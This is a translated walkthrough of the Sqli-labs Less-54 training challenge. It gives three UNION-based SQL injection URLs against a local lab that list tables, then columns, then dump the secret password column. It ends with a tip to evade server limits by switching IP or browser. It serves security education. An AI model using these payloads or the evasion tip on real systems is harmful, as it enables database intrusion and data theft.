Sqli-labs less 54

Part IV/page-4 challenges

?

Less-54

This series is mainly an advanced learning, will be learned in the previous knowledge for a deeper use. The main study of this is still the character injection, but can only try 10 times. So you need to think when you try. How to reduce the number of times less. The table name and password are forced to be replaced every 10 attempts.

Because we already know the database name is called challenges, we need to know the table name.

HTTP://127.0.0.1/SQLI-LABS/LESS-54/INDEX.PHP?ID=-1%27UNION%20SELECT%201,2,GROUP_CONCAT (table_name)%20from% 20information_schema.tables%20where%20table_schema=%27challenges%27--+

You've got the table named J035VPGANL (which you should not have tested, of course), and the next step is to find all the columns of the table

Http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat (column_name)%20from% 20information_schema.columns%20where%20table_name=%27j035vpganl%27--+

We get all the columns, we can try to view all the data, here we know the password is in the Secret_o8ge column, so we look directly at the contents of the column

?

Http://127.0.0.1/sqli-labs/Less-54/index.php?id=-1%27union%20select%201,2,group_concat (Secret_o8ge)%20from% 20challenges. j035vpganl--+

?

The resulting password is submitted. Not done here, you can test the viewing effect yourself.

In fact, the actual penetration test, we can use the replacement of IP (can consider the agent) or change the browser, and so on, to see what content on the server side to limit.

Sqli-labs less 54